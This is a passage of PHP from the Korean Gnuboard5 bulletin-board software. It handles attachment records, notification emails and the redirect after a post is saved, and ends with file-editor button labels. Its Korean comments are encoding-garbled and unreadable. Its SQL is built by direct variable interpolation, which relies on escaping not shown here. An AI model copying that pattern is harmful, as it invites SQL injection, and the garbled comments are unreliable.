์ ๋ณ๊ฒฝํฉ๋๋ค. chmod($dest_file, G5_FILE_PERMISSION); $dest_file = run_replace('write_update_upload_file', $dest_file, $board, $wr_id, $w); $upload[$i] = run_replace('write_update_upload_array', $upload[$i], $dest_file, $board, $wr_id, $w); } } // end for } // end if // ๋์ค์ ํ ์ด๋ธ์ ์ ์ฅํ๋ ์ด์ ๋ $wr_id ๊ฐ์ ์ ์ฅํด์ผ ํ๊ธฐ ๋๋ฌธ์ ๋๋ค. for ($i=0; $i<count($upload); $i++) { if (!get_magic_quotes_gpc()) { $upload[$i]['source'] = addslashes($upload[$i]['source']); } $row = sql_fetch(" select count(*) as cnt from {$g5['board_file_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and bf_no = '{$i}' "); if ($row['cnt']) { // ์ญ์ ์ ์ฒดํฌ๊ฐ ์๊ฑฐ๋ ํ์ผ์ด ์๋ค๋ฉด ์ ๋ฐ์ดํธ๋ฅผ ํฉ๋๋ค. // ๊ทธ๋ ์ง ์๋ค๋ฉด ๋ด์ฉ๋ง ์ ๋ฐ์ดํธ ํฉ๋๋ค. if ($upload[$i]['del_check'] || $upload[$i]['file']) { $sql = " update {$g5['board_file_table']} set bf_source = '{$upload[$i]['source']}', bf_file = '{$upload[$i]['file']}', bf_content = '{$bf_content[$i]}', bf_fileurl = '{$upload[$i]['fileurl']}', bf_thumburl = '{$upload[$i]['thumburl']}', bf_storage = '{$upload[$i]['storage']}', bf_filesize = '".(int)$upload[$i]['filesize']."', bf_width = '".(int)$upload[$i]['image'][0]."', bf_height = '".(int)$upload[$i]['image'][1]."', bf_type = '".(int)$upload[$i]['image'][2]."', bf_datetime = '".G5_TIME_YMDHIS."' where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and bf_no = '{$i}' "; sql_query($sql); } else { $sql = " update {$g5['board_file_table']} set bf_content = '{$bf_content[$i]}' where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and bf_no = '{$i}' "; sql_query($sql); } } else { $sql = " insert into {$g5['board_file_table']} set bo_table = '{$bo_table}', wr_id = '{$wr_id}', bf_no = '{$i}', bf_source = '{$upload[$i]['source']}', bf_file = '{$upload[$i]['file']}', bf_content = '{$bf_content[$i]}', bf_fileurl = '{$upload[$i]['fileurl']}', bf_thumburl = '{$upload[$i]['thumburl']}', bf_storage = '{$upload[$i]['storage']}', bf_download = 0, bf_filesize = '".(int)$upload[$i]['filesize']."', bf_width = '".(int)$upload[$i]['image'][0]."', bf_height = '".(int)$upload[$i]['image'][1]."', bf_type = '".(int)$upload[$i]['image'][2]."', bf_datetime = '".G5_TIME_YMDHIS."' "; sql_query($sql); run_event('write_update_file_insert', $bo_table, $wr_id, $upload[$i], $w); } } // ์ ๋ก๋๋ ํ์ผ ๋ด์ฉ์์ ๊ฐ์ฅ ํฐ ๋ฒํธ๋ฅผ ์ป์ด ๊ฑฐ๊พธ๋ก ํ์ธํด ๊ฐ๋ฉด์ // ํ์ผ ์ ๋ณด๊ฐ ์๋ค๋ฉด ํ ์ด๋ธ์ ๋ด์ฉ์ ์ญ์ ํฉ๋๋ค. $row = sql_fetch(" select max(bf_no) as max_bf_no from {$g5['board_file_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' "); for ($i=(int)$row['max_bf_no']; $i>=0; $i--) { $row2 = sql_fetch(" select bf_file from {$g5['board_file_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and bf_no = '{$i}' "); // ์ ๋ณด๊ฐ ์๋ค๋ฉด ๋น ์ง๋๋ค. if ($row2['bf_file']) break; // ๊ทธ๋ ์ง ์๋ค๋ฉด ์ ๋ณด๋ฅผ ์ญ์ ํฉ๋๋ค. sql_query(" delete from {$g5['board_file_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and bf_no = '{$i}' "); } // ํ์ผ์ ๊ฐ์๋ฅผ ๊ฒ์๋ฌผ์ ์ ๋ฐ์ดํธ ํ๋ค. $row = sql_fetch(" select count(*) as cnt from {$g5['board_file_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' "); sql_query(" update {$write_table} set wr_file = '{$row['cnt']}' where wr_id = '{$wr_id}' "); // ์๋์ ์ฅ๋ ๋ ์ฝ๋๋ฅผ ์ญ์ ํ๋ค. sql_query(" delete from {$g5['autosave_table']} where as_uid = '{$uid}' "); //------------------------------------------------------------------------------ // ๋น๋ฐ๊ธ์ด๋ผ๋ฉด ์ธ์ ์ ๋น๋ฐ๊ธ์ ์์ด๋๋ฅผ ์ ์ฅํ๋ค. ์์ ์ ๊ธ์ ๋ค์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฌป์ง ์๊ธฐ ์ํจ if ($secret) set_session("ss_secret_{$bo_table}_{$wr_num}", TRUE); // ๋ฉ์ผ๋ฐ์ก ์ฌ์ฉ (์์ ๊ธ์ ๋ฐ์กํ์ง ์์) if (!($w == 'u' || $w == 'cu') && $config['cf_email_use'] && $board['bo_use_email']) { // ๊ด๋ฆฌ์์ ์ ๋ณด๋ฅผ ์ป๊ณ $super_admin = get_admin('super'); $group_admin = get_admin('group'); $board_admin = get_admin('board'); $wr_subject = get_text(stripslashes($wr_subject)); $tmp_html = 0; if (strstr($html, 'html1')) $tmp_html = 1; else if (strstr($html, 'html2')) $tmp_html = 2; $wr_content = conv_content(conv_unescape_nl(stripslashes($wr_content)), $tmp_html); $warr = array( ''=>'์ ๋ ฅ', 'u'=>'์์ ', 'r'=>'๋ต๋ณ', 'c'=>'์ฝ๋ฉํธ', 'cu'=>'์ฝ๋ฉํธ ์์ ' ); $str = $warr[$w]; $subject = '['.$config['cf_title'].'] '.$board['bo_subject'].' ๊ฒ์ํ์ '.$str.'๊ธ์ด ์ฌ๋ผ์์ต๋๋ค.'; $link_url = get_pretty_url($bo_table, $wr_id, $qstr); include_once(G5_LIB_PATH.'/mailer.lib.php'); ob_start(); include_once ('./write_update_mail.php'); $content = ob_get_contents(); ob_end_clean(); $array_email = array(); // ๊ฒ์ํ๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_board_admin']) $array_email[] = $board_admin['mb_email']; // ๊ฒ์ํ๊ทธ๋ฃน๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_group_admin']) $array_email[] = $group_admin['mb_email']; // ์ต๊ณ ๊ด๋ฆฌ์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_super_admin']) $array_email[] = $super_admin['mb_email']; // ์๊ธ๊ฒ์์์๊ฒ ๋ณด๋ด๋ ๋ฉ์ผ if ($config['cf_email_wr_write']) { if($w == '') $wr['wr_email'] = $wr_email; $array_email[] = $wr['wr_email']; } // ์ต์ ์ ๋ฉ์ผ๋ฐ๊ธฐ๊ฐ ์ฒดํฌ๋์ด ์๊ณ , ๊ฒ์์์ ๋ฉ์ผ์ด ์๋ค๋ฉด if (strstr($wr['wr_option'], 'mail') && $wr['wr_email']) $array_email[] = $wr['wr_email']; // ์ค๋ณต๋ ๋ฉ์ผ ์ฃผ์๋ ์ ๊ฑฐ $unique_email = array_unique($array_email); $unique_email = run_replace('write_update_mail_list', array_values($unique_email), $board, $wr_id); for ($i=0; $i<count($unique_email); $i++) { mailer($wr_name, $wr_email, $unique_email[$i], $subject, $content, 1); } } // ์ฌ์ฉ์ ์ฝ๋ ์คํ @include_once($board_skin_path.'/write_update.skin.php'); @include_once($board_skin_path.'/write_update.tail.skin.php'); delete_cache_latest($bo_table); $redirect_url = run_replace('write_update_move_url', short_url_clean(G5_HTTP_BBS_URL.'/board.php?bo_table='.$bo_table.'&wr_id='.$wr_id.$qstr), $board, $wr_id, $w, $qstr, $file_upload_msg); run_event('write_update_after', $board, $wr_id, $w, $qstr, $redirect_url); if ($file_upload_msg) alert($file_upload_msg, $redirect_url); else goto_url($redirect_url); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete